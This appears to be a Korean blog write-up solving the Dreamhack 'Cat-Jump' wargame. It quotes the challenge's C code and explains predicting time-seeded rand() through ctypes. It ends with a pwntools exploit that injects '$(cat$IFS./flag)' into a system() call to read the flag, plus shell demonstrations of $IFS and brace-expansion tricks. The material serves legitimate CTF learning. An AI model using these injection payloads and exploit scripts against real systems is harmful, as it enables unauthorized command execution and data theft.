security/포너블 - dreamhack

[Dreamhack Wargame] Cat-Jump

민사민서 2023. 6. 15. 20:07

Step1: 일단 else if문을 통과해 CAT-JUMP를 37번 해야함

void StartGame() {
    char cat_name[32];
    char cmd[64];
    // 생략
    
    srand(time(NULL));

    catnip = 0;
    jump_cnt = 0;

    puts("let the cat reach the roof! 🐈");

    sleep(1);

    do {
        obstacle = rand() % 2;

        do {
            printf("left jump='h', right jump='j': ");
            scanf("%c%*c", &input);
        } while (input != 'h' && input != 'l');

        if (catnip) {
            catnip--;
            jump_cnt++;
            puts("the cat powered up and is invincible! nothing cannot stop! 🐈");
        } else if ((input == 'h' && obstacle != 0) ||
                (input == 'l' && obstacle != 1)) {
            jump_cnt++;
            puts("the cat jumped successfully! 🐱");
        } else {
            puts("the cat got stuck by obstacle! 😿 🪨 ");
            return;
        }

        // eat some catnip with a specific probability.
        p = (double)rand() / RAND_MAX;
        if (p < CATNIP_PROBABILITY) {
            puts("the cat found and ate some catnip! 😽");
            catnip = CATNIP_INVINCIBLE_TIMES;
        }
    } while (jump_cnt < CAT_JUMP_GOAL);

 

 

random() 값을 전부 다 맞출수는 없고 동일한 seed를 가지는 random number generator (sequence)를 만들면 되지 않을까 

import random
from time import time

random.seed(int(time()))
for i in range(37):
    obstacle = random.randint(0,1)
    print("i : "+str(i)+", obstacle : "+str(obstacle))
    if obstacle==0:
        p.sendlineafter("jump='j': ", "l")
    else:
        p.sendlineafter("jump='j': ", "h")
    print(p.recvline())
    random.randint(0,1)

파이썬 random 모듈을 이용해 짜봤으나 동작하지 않음. 아무래도 C library function을 직접 가져와서 써야할 듯

 

순서1. C 관련 모듈 import 

from ctypes import CDLL
from ctypes.util import find_library

순서2. CDLL() 인자로 .so (shared object file)을 넘겨줌 // find_library("c")로 찾아도 되고 절대경로 넣어주어도 됨

# libc = CDLL("/lib/x86_64-linux-gnu/libc.so.6")
libc = CDLL(find_library('c'))

순서 3. 원하는 c 함수 사용하면 됨

libc.rand()

** 주의할 점: do-while문 loop 돌 때마다 rand() 두 번 호출 = obstacle 생성용 + catnip 생성용 // 이거땜에 시간 날림 ㅋㅋ

 

Step2: Command Injection을 통해 /tmp/cat_db에 ./flag 값을 입력해야함

    printf("let people know your cat's name 😼: ");
    scanf("%31s", cat_name);

    snprintf(cmd, sizeof(cmd), "echo \"%s\" > /tmp/cat_db", cat_name);
    system(cmd);

    printf("goodjob! ");
    system("cat /tmp/cat_db");

 

* echo "user input" > /tmp/cat_db  이거는 명령어 대체(Command Substitution) 이용

IEEE Open Group의 정의에 의하면, 리눅스 쉘에서 백틱은 $()과 함께 명령어 대체(command substitution)로 분류되는 표현식입니다. 백틱 또는 $() 괄호 안에 기술하는 명령어를 하위 쉘이 실행하고 그 출력 결과를 문자열로 대체하여 줍니다.

 

1. `` 백틱 사용
minseo@ubuntu:~/Desktop/Dreamhack/pwn_wargames/cat_jump/deploy$ echo "`cat flag`"
DH{**flag**}
2. $() 사용
minseo@ubuntu:~/Desktop/Dreamhack/pwn_wargames/cat_jump/deploy$ echo "$(cat flag)"
DH{**flag**}

 

* scanf는 whitespace 만나면 입력 종료되므로 공백 대체 필요

1. $IFS 우회 (대신 flag 파일 경로 명시해주어야 함)
minseo@ubuntu:~/Desktop/Dreamhack/pwn_wargames/cat_jump/deploy$ cat$IFSflag
^C
minseo@ubuntu:~/Desktop/Dreamhack/pwn_wargames/cat_jump/deploy$ cat$IFS./flag
DH{**flag**}
IFS는 internal field separator의 약자다. shell이 단어를 쪼갤 때 사용하는 문자를 의미한다. 디폴트 값은 공백 문자다.

2. {명령,인자} 조합
minseo@ubuntu:~/Desktop/Dreamhack/pwn_wargames/cat_jump/deploy$ {cat,flag}
DH{**flag**}

주의할 점은 subshell에서 {명령,인자} 조합은 안먹히더라, 당연히 exploit에서 사용 못하네...

Brace expansion {} is a feature that's not standard to all shells. Specifically, it's available in bash, zsh, and some others, but not in the traditional Bourne Shell or other simpler shells.

 

from pwn import *
from ctypes import CDLL
from ctypes.util import find_library

# p = process("./cat_jump")
p = remote("host3.dreamhack.games", 8952)

libc = CDLL(find_library('c'))
libc.srand(libc.time(0x0))

for i in range(37):
    obstacle = libc.rand() % 2
    print("i : "+str(i)+", obstacle : "+str(obstacle))
    if obstacle==0:
        p.sendlineafter("jump='j': ", "l")
    else:
        p.sendlineafter("jump='j': ", "h")
    print(p.recvline())
    libc.rand() # for catnip

p.sendlineafter('\xf0\x9f\x98\xbc: ', "$(cat$IFS./flag)")

p.interactive()

 

 

'security > 포너블 - dreamhack' 카테고리의 다른 글

[Dreamhack Wargame] validator  (0) 2023.06.16
pwn 강좌 메모  (0) 2023.06.15
[Dreamhack Wargame] STB-lsExecutor  (0) 2023.06.15
[Dreamhack Wargame] awesome_basic  (0) 2023.06.15
[Dreamhack Wargame] Stupid GCC  (0) 2023.06.14